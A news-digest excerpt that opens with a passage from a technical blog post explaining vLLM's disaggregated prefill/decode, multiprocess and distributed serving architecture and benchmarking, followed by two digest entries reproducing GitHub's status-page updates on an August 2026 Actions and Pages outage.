In practice, we run N vLLM prefill instances and M vLLM decode instances, autoscaling them based on the live request mix. Prefill workers write KV to a dedicated KV-cache service; decode workers read from it. This isolates long, bursty prefill from steady, latency-sensitive decode.

How does this work in vLLM?

For clarity, the example below relies on SharedStorageConnector, a debugging connector implementation used to illustrate the mechanics.

Connector is vLLM's abstraction for handling the exchange of KVs between instances. Connector interface is not yet stable, there are some near-term improvements planned which will involve changes, some potentially breaking.

We launch 2 vLLM instances (GPU 0 for prefill and GPU 1 for decode), and then transfer the KV cache between them:


import os
import time
from multiprocessing import Event, Process
import multiprocessing as mp

from vllm import LLM, SamplingParams
from vllm.config import KVTransferConfig

prompts = [
    "Hello, my name is",
    "The president of the United States is",
]

def run_prefill(prefill_done):
  os.environ["CUDA_VISIBLE_DEVICES"] = "0"

  sampling_params = SamplingParams(temperature=0, top_p=0.95, max_tokens=1)

  ktc=KVTransferConfig(
      kv_connector="SharedStorageConnector",
      kv_role="kv_both",
      kv_connector_extra_config={"shared_storage_path": "local_storage"},
  )

  llm = LLM(model="TinyLlama/TinyLlama-1.1B-Chat-v1.0", kv_transfer_config=ktc)
  llm.generate(prompts, sampling_params)

  prefill_done.set()  # notify decode instance that KV cache is ready

  # To keep the prefill node running in case the decode node is not done;
  # otherwise, the script might exit prematurely, causing incomplete decoding.
  try:
      while True:
          time.sleep(1)
  except KeyboardInterrupt:
      print("Script stopped by user.")

def run_decode(prefill_done):
  os.environ["CUDA_VISIBLE_DEVICES"] = "1"

  sampling_params = SamplingParams(temperature=0, top_p=0.95)

  ktc=KVTransferConfig(
      kv_connector="SharedStorageConnector",
      kv_role="kv_both",
      kv_connector_extra_config={"shared_storage_path": "local_storage"},
  )

  llm = LLM(model="TinyLlama/TinyLlama-1.1B-Chat-v1.0", kv_transfer_config=ktc)

  prefill_done.wait()  # block waiting for KV cache from prefill instance

  # Internally it'll first fetch KV cache before starting the decoding loop
  outputs = llm.generate(prompts, sampling_params)

if __name__ == "__main__":
  prefill_done = Event()
  prefill_process = Process(target=run_prefill, args=(prefill_done,))
  decode_process = Process(target=run_decode, args=(prefill_done,))

  prefill_process.start()
  decode_process.start()

  decode_process.join()
  prefill_process.terminate()

📝Note:

I've also experimented with LMCache, the fastest production-ready connector (uses NVIDIA's NIXL as the backend), but it's still at the bleeding edge and I ran into some bugs. Since much of its complexity lives in an external repo, SharedStorageConnector is a better choice for explanation.

These are the steps in vLLM:

  1. Instantiation — During engine construction, connectors are created in two places:

    • Inside the worker's init device procedure (under init worker distributed environment function), with role "worker".
    • Inside the scheduler constructor, with role "scheduler".
  2. Cache lookup — When the scheduler processes prefill requests from the waiting queue (after local prefix-cache checks), it calls connector's get_num_new_matched_tokens. This checks for externally cached tokens in the KV-cache server. Prefill always sees 0 here; decode may have a cache hit. The result is added to the local count before calling allocate_slots.

  3. State update — The scheduler then calls connector.update_state_after_alloc, which records requests that had a cache (no-op for prefill).

  4. Meta build — At the end of scheduling, the scheduler calls meta = connector.build_connector_meta:

    • Prefill adds all requests with is_store=True (to upload KV).
    • Decode adds requests with is_store=False (to fetch KV).
  5. Context manager — Before the forward pass, the engine enters a KV-connector context manager:

    • On enter: kv_connector.start_load_kv is called. For decode, this loads KV from the external server and injects it into paged memory. For prefill, it's a no-op.
    • On exit: kv_connector.wait_for_save is called. For prefill, this blocks until KV is uploaded to the external server. For decode, it's a no-op.

Here is a visual example:

disaggregated P/D

disaggregated P/D

📝Additional notes:

  • For SharedStorageConnector "external server" is just a local file system.
  • Depending on configuration, KV transfers can also be done layer-by-layer (before/after each attention layer).
  • Decode loads external KV only once, on the first step of its requests; afterwards it computes/stores locally.

From UniprocExecutor to MultiProcExecutor

With the core techniques in place, we can now talk about scaling up.

Suppose your model weights no longer fit into a single GPU's VRAM.

The first option is to shard the model across multiple GPUs on the same node using tensor parallelism (e.g., TP=8). If the model still doesn't fit, the next step is pipeline parallelism across nodes.

📝Notes:

  • Intranode bandwidth is significantly higher than internode, which is why tensor parallelism (TP) is generally preferred over pipeline parallelism (PP). (It is also true that PP communicates less data than TP.)
  • I'm not covering expert parallelism (EP) since we're focusing on standard transformers rather than MoE, nor sequence parallelism, as TP and PP are the most commonly used in practice.

At this stage, we need multiple GPU processes (workers) and an orchestration layer to coordinate them. That's exactly what MultiProcExecutor provides.

MultiProcExecutor

MultiProcExecutor in a TP=8 setting (driver worker being rank 0)

How this works in vLLM:

  1. MultiProcExecutor initializes an rpc_broadcast_mq message queue (implemented with shared memory under the hood).

  2. The constructor loops over world_size (e.g. TP=8 ⇒ world_size=8) and spawns a daemon process for each rank via WorkerProc.make_worker_process.

  3. For each worker, the parent first creates a reader and writer pipe.

  4. The new process runs WorkerProc.worker_main, which instantiates a worker (going through the same "init device", "load model", etc. as in UniprocExecutor).

  5. Each worker determines whether it is the driver (rank 0 in the TP group) or a regular worker. Every worker sets up two queues:

    • rpc_broadcast_mq (shared with the parent) for receiving work.
    • worker_response_mq for sending responses back.
  6. During initialization, each child sends its worker_response_mq handle to the parent via the pipe. Once all are received, the parent unblocks — this completes coordination.

  7. Workers then enter a busy loop, blocking on rpc_broadcast_mq.dequeue. When a work item arrives, they execute it (just like in UniprocExecutor, but now with TP/PP-specific partitioned work). Results are sent back through worker_response_mq.enqueue.

  8. At runtime, when a request arrives, MultiProcExecutor enqueues it into rpc_broadcast_mq (non-blocking) for all children workers. It then waits on the designated output rank's worker_response_mq.dequeue to collect the final result.

From the engine's perspective, nothing has changed — all of this multiprocessing complexity is abstracted away through a call to model executor's execute_model.

  • In the UniProcExecutor case: execute_model directly leads to calling execute_model on the worker
  • In the MultiProcExecutor case: execute_model indirectly leads to calling execute_model on each worker through rpc_broadcast_mq

At this point, we can run models that are as large as resources allow using the same engine interface.

The next step is to scale out: enable data parallelism (DP > 1) replicating the model across nodes, add a lightweight DP coordination layer, introduce load balancing across replicas, and place one or more API servers in front to handle incoming traffic.

Distributed system serving vLLM

There are many ways to set up serving infrastructure, but to stay concrete, here's one example: suppose we have two H100 nodes and want to run four vLLM engines across them.

If the model requires TP=4, we can configure the nodes like this.

server configuration with 2 8xH100 nodes

server configuration with 2 8xH100 nodes (1 headless, 1 api server)

On the first node, run the engine in headless mode (no API server) with the following arguments:

vllm serve <model-name>
  --tensor-parallel-size 4
  --data-parallel-size 4
  --data-parallel-size-local 2
  --data-parallel-start-rank 0
  --data-parallel-address <master-ip>
  --data-parallel-rpc-port 13345
  --headless

and run that same command on the other node with few tweaks:

  • no --headless
  • modify DP start rank
vllm serve <model-name>
  --tensor-parallel-size 4
  --data-parallel-size 4
  --data-parallel-size-local 2
  --data-parallel-start-rank 2
  --data-parallel-address <master-ip>
  --data-parallel-rpc-port 13345

📝Note:

This assumes networking is configured so all nodes can reach the specified IP and port.

How does this work in VLLM?

On the headless server node

On the headless node, a CoreEngineProcManager launches 2 processes (per --data-parallel-size-local) each running EngineCoreProc.run_engine_core. Each of these functions creates a DPEngineCoreProc (the engine core) and then enters its busy loop.

DPEngineCoreProc initializes its parent EngineCoreProc (child of EngineCore), which:

  1. Creates an input_queue and output_queue (queue.Queue).
  2. Performs an initial handshake with the frontend on the other node using a DEALER ZMQ socket (async messaging lib), and receives coordination address info.
  3. Initializes DP group (e.g. using NCCL backend).
  4. Initializes the EngineCore with MultiProcExecutor (TP=4 on 4 GPUs as described earlier).
  5. Creates a ready_event (threading.Event).
  6. Starts an input deamon thread (threading.Thread) running process_input_sockets(…, ready_event). Similarly starts an output thread.
  7. Still in the main thread, waits on ready_event until all input threads across all 4 processes (spanning the 2 nodes) have completed the coordination handshake finally executing ready_event.set().
  8. Once unblocked, sends a "ready" message to the frontend with metadata (e.g., num_gpu_blocks available in paged KV cache memory).
  9. The main, input, and output threads then enter their respective busy loops.

distributed system with 4 DPEngineCoreProc

distributed system with 4 DP replicas running 4 DPEngineCoreProc

Current steady state:

  • Input thread — blocks on the input socket until a request is routed from the API server; upon receipt, it decodes the payload, enqueues a work item via input_queue.put_nowait(...), and returns to blocking on the socket.
  • Main thread — wakes on input_queue.get(...), feeds the request to the engine; MultiProcExecutor runs the forward pass and enqueues results to output_queue.
  • Output thread — wakes on output_queue.get(...), sends the result back to the API server, then resumes blocking.

Additional mechanics:

  • DP wave counter — the system tracks "waves"; when all engines become idle they quiesce, and the counter increments when new work arrives (useful for coordination/metrics).
  • Control messages — the API server can send more than just inference requests (e.g., aborts and utility/control RPCs).
  • Dummy steps for lockstep — if any DP replica has work, all replicas execute a forward step; replicas without requests perform a dummy step to participate in required synchronization points (avoids blocking the active replica).

Lockstep clarification: this is actually only required for MoE models where the expert layers form an EP or TP group while attention layers are still DP. It's currently always done with DP - this is just because there's limited use for "built-in" non-MoE DP since you could just run multiple independent vLLMs and load-balance between them in a normal way.

Now for the second part, what happens on the API server node?

On the API server node

We instantiate an AsyncLLM object (an asyncio wrapper around the LLM engine). Internally this creates a DPLBAsyncMPClient (data-parallel, load-balancing, asynchronous, multiprocessing client).

Inside the parent class of MPClient, the launch_core_engines function runs and:

  1. Creates the ZMQ addresses used for the startup handshake (as seen on the headless node).
  2. Spawns a DPCoordinator process.
  3. Creates a CoreEngineProcManager (same as on the headless node).

Inside AsyncMPClient (child of MPClient), we:

  1. Create an outputs_queue (asyncio.Queue).
  2. We create an asyncio task process_outputs_socket which communicates (through the output socket) with output threads of all 4 DPEngineCoreProc and writes into outputs_queue.
  3. Subsequently one more asyncio task output_handler from AsyncLLM reads from this queue and finally sends out information to the create_completion function.

Inside DPAsyncMPClient we create an asyncio task run_engine_stats_update_task which communicates with DP coordinator.

The DP coordinator mediates between the frontend (API server) and backend (engine cores). It:

  • Periodically sends load-balancing info (queue sizes, waiting/running requests) to the frontend's run_engine_stats_update_task.
  • Handles SCALE_ELASTIC_EP commands from the frontend by dynamically changing the number of engines (only works with Ray backend).
  • Sends START_DP_WAVE events to the backend (when triggered by frontend) and reports wave-state updates back.

To recap, the frontend (AsyncLLM) runs several asyncio tasks (remember: concurrent, not parallel):

  • A class of tasks handles input requests through the generate path (each new client request spawns a new asyncio task).
  • Two tasks (process_outputs_socket, output_handler) process output messages from the underlying engines.
  • One task (run_engine_stats_update_task) maintains communication with the DP coordinator: sending wave triggers, polling LB state, and handling dynamic scaling requests.

Finally, the main server process creates a FastAPI app and mounts endpoints such as OpenAIServingCompletion and OpenAIServingChat, which expose /completion, /chat/completion, and others. The stack is then served via Uvicorn.

So, putting it all together, here's the full request lifecycle!

You send from your terminal:

curl -X POST http://localhost:8000/v1/completions -H "Content-Type: application/json" -d '{
  "model": "TinyLlama/TinyLlama-1.1B-Chat-v1.0",
  "prompt": "The capital of France is",
  "max_tokens": 50,
  "temperature": 0.7
}'

What happens next:

  1. The request hits OpenAIServingCompletion's create_completion route on the API server.

  2. The function tokenizes the prompt asynchronously, and prepares metadata (request ID, sampling params, timestamp, etc.).

  3. It then calls AsyncLLM.generate, which follows the same flow as the synchronous engine, eventually invoking DPAsyncMPClient.add_request_async.

  4. This in turn calls get_core_engine_for_request, which does load balancing across engines based on the DP coordinator's state (picking the one that has minimal score / lowest load: score = len(waiting) * 4 + len(running)).

  5. The ADD request is sent to the chosen engine's input_socket.

  6. At that engine:

    • Input thread — unblocks, decodes data from the input socket, and places a work item on the input_queue for the main thread.

    • Main thread — unblocks on input_queue, adds the request to the engine, and repeatedly calls engine_core.step(), enqueueing intermediate results to output_queue until a stop condition is met.

      Reminder: step() calls the scheduler, model executor (which in turn can be MultiProcExecutor!), etc. We have already seen this!

    • Output thread — unblocks on output_queue and sends results back through the output socket.

  7. Those results trigger the AsyncLLM output asyncio tasks (process_outputs_socket and output_handler), which propagate tokens back to FastAPI's create_completion route.

  8. FastAPI attaches metadata (finish reason, logprobs, usage info, etc.) and returns a JSONResponse via Uvicorn to your terminal!

And just like that, your completion came back — the whole distributed machinery hidden behind a simple curl command! :) So much fun!!!

📝Additional notes:

  • When adding more API servers, load balancing is handled at the OS/socket level. From the application's perspective, nothing significant changes — the complexity is hidden.
  • With Ray as a DP backend, you can expose a URL endpoint (/scale_elastic_ep) that enables automatic scaling of the number of engine replicas up or down.

Benchmarks and auto-tuning - latency vs throughput

So far we've been analyzing the "gas particles" — the internals of how requests flow through the engine/system. Now it's time to zoom out and look at the system as a whole, and ask: how do we measure the performance of an inference system?

At the highest level there are two competing metrics:

  1. Latency — the time from when a request is submitted until tokens are returned
  2. Throughput — the number of tokens/requests per second the system can generate/process

Latency matters most for interactive applications, where users are waiting on responses.

Throughput matters in offline workloads like synthetic data generation for pre/post-training runs, data cleaning/processing, and in general - any type of offline batch inference jobs.

Before explaining why latency and throughput compete, let's define a few common inference metrics:

Metric Definition
TTFT (time to first token) Time from request submission until the first output token is received
ITL (inter-token latency) Time between two consecutive tokens (e.g., from token i-1 to token i)
TPOT (time per output token) The average ITL across all output tokens in a request
Latency / E2E (end-to-end latency) Total time to process a request, i.e. TTFT + sum of all ITLs, or equivalently the time between submitting request and receiving the last output token
Throughput Total tokens processed per second (input, output, or both), or alternatively requests per second
Goodput Throughput that meets service-level objectives (SLOs) such as max TTFT, TPOT, or e2e latency. For example, only tokens from requests meeting those SLOs are counted

ttft, itl, e2e latency

ttft, itl, e2e latency

Here is a simplified model explaining the competing nature of these 2 metrics.

Assumption: weight i/o and not KV cache i/o dominates; i.e. we're dealing with short sequences.

The tradeoff becomes clear when looking at how batch size B affects a single decode step. As B ↓ toward 1, ITL drops: there's less work per step and the token isn't "competing" with others. As B ↑ toward infinity, ITL rises because we do more FLOPs per step—but throughput improves (until we hit peak perf) because weight I/O is amortized across more tokens.

A roofline model helps with understanding here: below a saturation batch B_sat, the step time is dominated by HBM bandwidth (streaming weights layer-by-layer into on-chip memory), so step latency is nearly flat—computing 1 vs 10 tokens can take a similar time. Beyond B_sat, the kernels become compute-bound and step time grows roughly with B; each extra token adds to ITL.

roofline perf model

roofline perf model

📝Note:

For a more rigorous treatment, we have to account for kernel auto-tuning: as B grows, the runtime may switch to more efficient kernels for that shape, changing the achieved performance P_kernel. Step latency is t = FLOPs_step / P_kernel, where FLOPs_step is the work in the step. You can see that as P_kernel hits P_peak more compute per step will directly lead to an increase in latency.

How to benchmark in vLLM

vLLM provides a vllm bench {serve,latency,throughput} CLI that wraps vllm / benchmarks / {server,latency,throughput}.py.

Here is what the scripts do:

  • latency — uses a short input (default 32 tokens) and samples 128 output tokens with a small batch (default 8). It runs several iterations and reports e2e latency for the batch.
  • throughput — submits a fixed set of prompts (default: 1000 ShareGPT samples) all at once (aka as QPS=Inf mode), and reports input/output/total tokens and requests per second across the run.
  • serve — Launches a vLLM server and simulates a real-world workload by sampling request inter-arrival times from a Poisson (or more generally, Gamma) distribution. It sends requests over a time window, measures all the metrics we’ve discussed, and can optionally enforce a server-side max concurrency (via a semaphore, e.g. limiting the server to 64 concurrent requests).

Here is an example of how you can run the latency script:

vllm bench latency
  --model <model-name>
  --input-tokens 32
  --output-tokens 128
  --batch-size 8

Benchmark configs used in CI live under .buildkite/nightly-benchmarks/tests.

There is also an auto-tune script that drives the serve benchmark to find argument settings that meet target SLOs (e.g., "maximize throughput while keeping p99 e2e < 500 ms"), returning a suggested config.

Epilogue

We began with the basic engine core (UniprocExecutor), added advanced features like speculative decoding and prefix caching, scaled up to MultiProcExecutor (with TP/PP > 1), and finally scaled out, wrapped everything in the asynchronous engine and distributed serving stack—closing with how to measure system performance.

vLLM also includes specialized handling that I've skipped. E.g.:

  • Diverse hardware backends: TPUs, AWS Neuron (Trainium/Inferentia), etc.
  • Architectures/techniques: MLA, MoE, encoder-decoder (e.g., Whisper), pooling/embedding models, EPLB, m-RoPE, LoRA, ALiBi, attention-free variants, sliding-window attention, multimodal LMs, and state-space models (e.g., Mamba/Mamba-2, Jamba)
  • TP/PP/SP
  • Hybrid KV-cache logic (Jenga), more complex sampling methods like beam sampling, and more
  • Experimental: async scheduling

The nice thing is that most of these are orthogonal to the main flow described above—you can almost treat them like "plugins" (in practice there's some coupling, of course).

I love understanding systems. Having said that, the resolution definitely suffered at this altitude. In the next posts I'll zoom in on specific subsystems and get into the nitty-gritty details.

References

  1. vLLM https://github.com/vllm-project/vllm
  2. "Attention Is All You Need", https://arxiv.org/abs/1706.03762
  3. "Efficient Memory Management for Large Language Model Serving with PagedAttention", https://arxiv.org/abs/2309.06180
  4. "DeepSeek-V2: A Strong, Economical, and Efficient Mixture-of-Experts Language Model", https://arxiv.org/abs/2405.04434
  5. "Jenga: Effective Memory Management for Serving LLM with Heterogeneity", https://arxiv.org/abs/2503.18292
  6. "Orca: A Distributed Serving System for Transformer-Based Generative Models", https://www.usenix.org/conference/osdi22/presentation/yu
  7. "XGrammar: Flexible and Efficient Structured Generation Engine for Large Language Models", https://arxiv.org/abs/2411.15100
  8. "Accelerating Large Language Model Decoding with Speculative Sampling", https://arxiv.org/abs/2302.01318
  9. "EAGLE: Speculative Sampling Requires Rethinking Feature Uncertainty", https://arxiv.org/abs/2401.15077
  10. "Medusa: Simple LLM Inference Acceleration Framework with Multiple Decoding Heads", https://arxiv.org/abs/2401.10774
  11. LMCache, https://github.com/LMCache/LMCache
The Daily Front Page 10 of 30
Thursday, August 6, 2026 The Daily Front No. #260806 — Build Interrupted
article

GitHub Actions and Pages are experiencing degraded availability

by Footkerchief·▲ 372 points·299 comments·githubstatus.com ↗
some Actions Runner Controller runner pods became stuck in an idle state

Resolved

This incident has been resolved. Thank you for your patience and understanding as we addressed this issue. A detailed root cause analysis will be shared as soon as it is available.

Update

During the incident, some Actions Runner Controller (ARC) runner pods became stuck in an idle state. Affected users can delete those pods using kubectl or redeploy their Actions Runner Controller application. ARC will automatically create replacement runners.

The next releases of Actions Runner and Actions Runner Controller will include an automatic recovery mechanism, preventing the need for these manual steps in the future.

Some workflow-triggering events, including push and pull request events, were not processed during the incident and cannot be replayed automatically. Customers may need to repeat the triggering action by pushing a new commit, updating the pull request, or manually re-running the workflow where applicable.

Update

We’re investigating reports that some Actions Runner Controller runners are taking longer than expected to recover. We’ll provide an update as our investigation progresses.

Monitoring

The degradation has been mitigated. We are monitoring to ensure stability.

Update

The degradation affecting Actions and Pages has been mitigated. We are monitoring to ensure stability.

Update

System-wide queues have been drained, and new jobs are being processed as expected. The fix for self-hosted runners not picking up jobs has been fully rolled out.

Webhook-triggered Actions workflows have been restored to full throughput. GitHub Pages, Copilot code review, and Copilot coding agent are showing recovery. Migrations using GitHub Enterprise Importer remain paused as a precaution.

We are monitoring all affected services for sustained recovery and will provide another update shortly.

Update

System-wide queues have been drained, and new jobs are being processed as expected. The fix for self-hosted runners not picking up jobs has been fully rolled out.

Webhook-triggered Actions workflows have been restored to full throughput. GitHub Pages, Copilot code review, and Copilot coding agent are showing recovery. Migrations using GitHub Enterprise Importer remain paused as a precaution.

We are monitoring all affected services for sustained recovery and will provide another update shortly.

Update

We have deployed fixes that address runners being assigned invalid jobs and are taking additional steps to clear the backlog of affected jobs. Job completion rates for running workflows have improved significantly, with success rates now at 99%. Global queues for hosted runner assignment are nearly burned down and concurrency queues for customers are being processed. Another change was deployed to accelerate processing the backlog of job requests.

We are gradually restoring throughput for webhook-triggered Actions workflows and monitoring system stability. We have deployed a fix for self-hosted runners that were not picking up jobs and are enabling it incrementally.

GitHub Pages, Copilot code review, and Copilot coding agent may still experience intermittent failures or delays. Migrations using GitHub Enterprise Importer remain paused.

We continue to monitor recovery across all affected services and will provide another update as conditions improve.

Update

We continue to make progress on the issue affecting GitHub Actions. We have deployed a fix that addresses runners being assigned jobs that are no longer valid, and are seeing improvement in job completion rates. For workflow runs that are starting, success rates have increased significantly and are now at 97%. Standard and larger runners are now draining queued work. A change is also in progress to mitigate issues with existing self-hosted runners that are not picking up jobs.

Webhook triggers remain throttled to support recovery. Many push and pull request events are not yet triggering new workflow runs, and we are working to safely restore full throughput.

GitHub Pages, Copilot code review, and Copilot coding agent may still experience failures or delays. Migrations using GitHub Enterprise Importer remain paused.

We are continuing to monitor recovery and will provide another update as conditions improve.

Update

We are continuing to work on an issue affecting GitHub Actions. Webhook triggers remain throttled to aid recovery, so many push and pull request events are not triggering new workflow runs.

We identified runners being assigned jobs that are no longer valid and are deploying a change to address this issue. Both GitHub-hosted and self-hosted runners are affected.

Copilot code review, Copilot coding agent, and GitHub Pages may experience failures or delays. Migrations using GitHub Enterprise Importer have been paused to support mitigation efforts.

Update

We are continuing to work on an issue affecting GitHub Actions. Webhook triggers are currently throttled to help with recovery and and we are processing approximately 15% of webhooks, so many events such as pushes and pull requests are not triggering workflow runs. Of jobs queued, approximately 65% are succeeding, improved from a low of 30 to 40% earlier in this incident.

We have narrowed the remaining impact to runners that are stuck retrying jobs that are no longer available. Both GitHub-hosted and self-hosted runners are affected, and we are working to recover them.

Copilot code review, Copilot coding agent, and migrations using GitHub Enterprise Importer may also be affected.

Update

We are continuing to work on an issue affecting GitHub Actions.

Capacity remains constrained and jobs may still be delayed or fail while it recovers gradually. Customers using self-hosted runners may see errors or rate limiting when runners register. 

Copilot code review, Copilot coding agent, and migrations using GitHub Enterprise Importer may also be affected. Webhook deliveries may be delayed.

Our engineers remain actively engaged.

Update

We are continuing to work on an issue affecting multiple GitHub services.

Workflow runs are still failing, and jobs may remain queued for an extended period before starting or may time out. Jobs using GitHub-hosted runners are particularly affected while capacity is constrained.

Customers using self-hosted runners may see errors or rate limiting when runners register.

Copilot code review, Copilot coding agent, and migrations using GitHub Enterprise Importer may also be affected. Webhook deliveries may be delayed.

Recovery is taking longer than we expected, and engineers remain actively engaged.

Update

We are continuing to work on an issue affecting multiple GitHub services.

Workflow runs are still failing or delayed in starting, and some queued jobs may time out.

Customers using self-hosted runners may see errors or rate limiting when runners register.

Copilot code review, Copilot coding agent, hosted runners, and migrations using GitHub Enterprise Importer may also be affected.

Webhook deliveries may be delayed.

Engineers have applied further mitigations and are continuing to work towards full recovery.

Update

We are continuing to work on an issue affecting multiple GitHub services.

Workflow runs are failing or delayed in starting, and some queued jobs may time out.

Copilot code review, Copilot coding agent, hosted runners, and migrations using GitHub Enterprise Importer might also affected.

Webhook deliveries may be delayed.

Engineers have applied a number of mitigations and are rolling out a further fix across all affected systems now.

Update

We are continuing to work on the issue affecting GitHub Actions.

Workflow runs are still failing or delayed in starting, and some queued jobs may time out.

Some requests to the Actions API are returning errors. Customers running migrations with GitHub Enterprise Importer may see failures.

Our engineers have applied several mitigations and are rolling out a further fix now.

Update

Actions and Pages are experiencing degraded availability. We are continuing to investigate.

Update

We are continuing to work on the issue affecting GitHub Actions.

Some workflow runs are still delayed or failing to complete, and some requests to the Actions API are returning errors.

Customers running migrations with GitHub Enterprise Importer may also see failures.

Engineers are actively working towards full recovery.

Update

Pages is experiencing degraded performance. We are continuing to investigate.

Update

Pages is operating normally.

Update

Pages is experiencing degraded performance. We are continuing to investigate.

Update

We are investigating errors affecting GitHub Actions. Some workflow runs are failing to start or failing partway through, and some requests to the Actions REST API are returning errors.

Some customers may also see unexpected rate limiting in their workflows.

Engineers have identified the source of the disruption and are actively working on a mitigation

Update

Actions is experiencing degraded availability. We are continuing to investigate.

Investigating

We are investigating reports of degraded performance for Actions

The Daily Front Page 11 of 30
Thursday, August 6, 2026 The Daily Front No. #260806 — The Status Page
article

GitHub Is Experiencing Difficulties

by Jeaye·▲ 114 points·4 comments·githubstatus.com ↗
Incident with Actions

Past Incidents

Aug 7, 2026

Incident with Actions

Resolved - This incident has been resolved. Thank you for your patience and understanding as we addressed this issue. A detailed root cause analysis will be shared as soon as it is available.
Aug 7, 02:04 UTC

Update - During the incident, some Actions Runner Controller (ARC) runner pods became stuck in an idle state. Affected users can delete those pods using kubectl or redeploy their Actions Runner Controller application. ARC will automatically create replacement runners.

The next releases of Actions Runner and Actions Runner Controller will include an automatic recovery mechanism, preventing the need for these manual steps in the future.

Some workflow-triggering events, including push and pull request events, were not processed during the incident and cannot be replayed automatically. Customers may need to repeat the triggering action by pushing a new commit, updating the pull request, or manually re-running the workflow where applicable.
Aug 7, 02:03 UTC

Update - We’re investigating reports that some Actions Runner Controller runners are taking longer than expected to recover. We’ll provide an update as our investigation progresses.
Aug 7, 00:59 UTC

Monitoring - The degradation has been mitigated. We are monitoring to ensure stability.
Aug 7, 00:06 UTC

Update - The degradation affecting Actions and Pages has been mitigated. We are monitoring to ensure stability.
Aug 7, 00:05 UTC

Update - System-wide queues have been drained, and new jobs are being processed as expected. The fix for self-hosted runners not picking up jobs has been fully rolled out.

Webhook-triggered Actions workflows have been restored to full throughput. GitHub Pages, Copilot code review, and Copilot coding agent are showing recovery. Migrations using GitHub Enterprise Importer remain paused as a precaution.

We are monitoring all affected services for sustained recovery and will provide another update shortly.
Aug 7, 00:01 UTC

Update -

System-wide queues have been drained, and new jobs are being processed as expected. The fix for self-hosted runners not picking up jobs has been fully rolled out.

Webhook-triggered Actions workflows have been restored to full throughput. GitHub Pages, Copilot code review, and Copilot coding agent are showing recovery. Migrations using GitHub Enterprise Importer remain paused as a precaution.

We are monitoring all affected services for sustained recovery and will provide another update shortly.
Aug 7, 00:01 UTC

Update - We have deployed fixes that address runners being assigned invalid jobs and are taking additional steps to clear the backlog of affected jobs. Job completion rates for running workflows have improved significantly, with success rates now at 99%. Global queues for hosted runner assignment are nearly burned down and concurrency queues for customers are being processed. Another change was deployed to accelerate processing the backlog of job requests.

We are gradually restoring throughput for webhook-triggered Actions workflows and monitoring system stability. We have deployed a fix for self-hosted runners that were not picking up jobs and are enabling it incrementally.

GitHub Pages, Copilot code review, and Copilot coding agent may still experience intermittent failures or delays. Migrations using GitHub Enterprise Importer remain paused.

We continue to monitor recovery across all affected services and will provide another update as conditions improve.
Aug 6, 23:13 UTC

Update - We continue to make progress on the issue affecting GitHub Actions. We have deployed a fix that addresses runners being assigned jobs that are no longer valid, and are seeing improvement in job completion rates. For workflow runs that are starting, success rates have increased significantly and are now at 97%. Standard and larger runners are now draining queued work. A change is also in progress to mitigate issues with existing self-hosted runners that are not picking up jobs.

Webhook triggers remain throttled to support recovery. Many push and pull request events are not yet triggering new workflow runs, and we are working to safely restore full throughput.

GitHub Pages, Copilot code review, and Copilot coding agent may still experience failures or delays. Migrations using GitHub Enterprise Importer remain paused.

We are continuing to monitor recovery and will provide another update as conditions improve.
Aug 6, 22:18 UTC

Update - We are continuing to work on an issue affecting GitHub Actions. Webhook triggers remain throttled to aid recovery, so many push and pull request events are not triggering new workflow runs.

We identified runners being assigned jobs that are no longer valid and are deploying a change to address this issue. Both GitHub-hosted and self-hosted runners are affected.

Copilot code review, Copilot coding agent, and GitHub Pages may experience failures or delays. Migrations using GitHub Enterprise Importer have been paused to support mitigation efforts.
Aug 6, 21:30 UTC

Update - We are continuing to work on an issue affecting GitHub Actions. Webhook triggers are currently throttled to help with recovery and and we are processing approximately 15% of webhooks, so many events such as pushes and pull requests are not triggering workflow runs. Of jobs queued, approximately 65% are succeeding, improved from a low of 30 to 40% earlier in this incident.

We have narrowed the remaining impact to runners that are stuck retrying jobs that are no longer available. Both GitHub-hosted and self-hosted runners are affected, and we are working to recover them.

Copilot code review, Copilot coding agent, and migrations using GitHub Enterprise Importer may also be affected.
Aug 6, 20:34 UTC

Update - We are continuing to work on an issue affecting GitHub Actions.

Capacity remains constrained and jobs may still be delayed or fail while it recovers gradually. Customers using self-hosted runners may see errors or rate limiting when runners register.

Copilot code review, Copilot coding agent, and migrations using GitHub Enterprise Importer may also be affected. Webhook deliveries may be delayed.

Our engineers remain actively engaged.
Aug 6, 19:43 UTC

Update - We are continuing to work on an issue affecting multiple GitHub services.

Workflow runs are still failing, and jobs may remain queued for an extended period before starting or may time out. Jobs using GitHub-hosted runners are particularly affected while capacity is constrained.

Customers using self-hosted runners may see errors or rate limiting when runners register.

Copilot code review, Copilot coding agent, and migrations using GitHub Enterprise Importer may also be affected. Webhook deliveries may be delayed.

Recovery is taking longer than we expected, and engineers remain actively engaged.
Aug 6, 18:46 UTC

Update - We are continuing to work on an issue affecting multiple GitHub services.

Workflow runs are still failing or delayed in starting, and some queued jobs may time out.

Customers using self-hosted runners may see errors or rate limiting when runners register.

Copilot code review, Copilot coding agent, hosted runners, and migrations using GitHub Enterprise Importer may also be affected.

Webhook deliveries may be delayed.

Engineers have applied further mitigations and are continuing to work towards full recovery.
Aug 6, 18:11 UTC

Update - We are continuing to work on an issue affecting multiple GitHub services.

Workflow runs are failing or delayed in starting, and some queued jobs may time out.

Copilot code review, Copilot coding agent, hosted runners, and migrations using GitHub Enterprise Importer might also affected.

Webhook deliveries may be delayed.

Engineers have applied a number of mitigations and are rolling out a further fix across all affected systems now.
Aug 6, 17:40 UTC

Update - We are continuing to work on the issue affecting GitHub Actions.

Workflow runs are still failing or delayed in starting, and some queued jobs may time out.

Some requests to the Actions API are returning errors. Customers running migrations with GitHub Enterprise Importer may see failures.

Our engineers have applied several mitigations and are rolling out a further fix now.
Aug 6, 17:02 UTC

Update - Actions and Pages are experiencing degraded availability. We are continuing to investigate.
Aug 6, 16:33 UTC

Update - We are continuing to work on the issue affecting GitHub Actions.

Some workflow runs are still delayed or failing to complete, and some requests to the Actions API are returning errors.

Customers running migrations with GitHub Enterprise Importer may also see failures.

Engineers are actively working towards full recovery.
Aug 6, 16:27 UTC

Update - Pages is experiencing degraded performance. We are continuing to investigate.
Aug 6, 16:27 UTC

Update - Pages is operating normally.
Aug 6, 16:19 UTC

Update - Pages is experiencing degraded performance. We are continuing to investigate.
Aug 6, 15:53 UTC

Update - We are investigating errors affecting GitHub Actions. Some workflow runs are failing to start or failing partway through, and some requests to the Actions REST API are returning errors.

Some customers may also see unexpected rate limiting in their workflows.

Engineers have identified the source of the disruption and are actively working on a mitigation
Aug 6, 15:45 UTC

Update - Actions is experiencing degraded availability. We are continuing to investigate.
Aug 6, 15:41 UTC

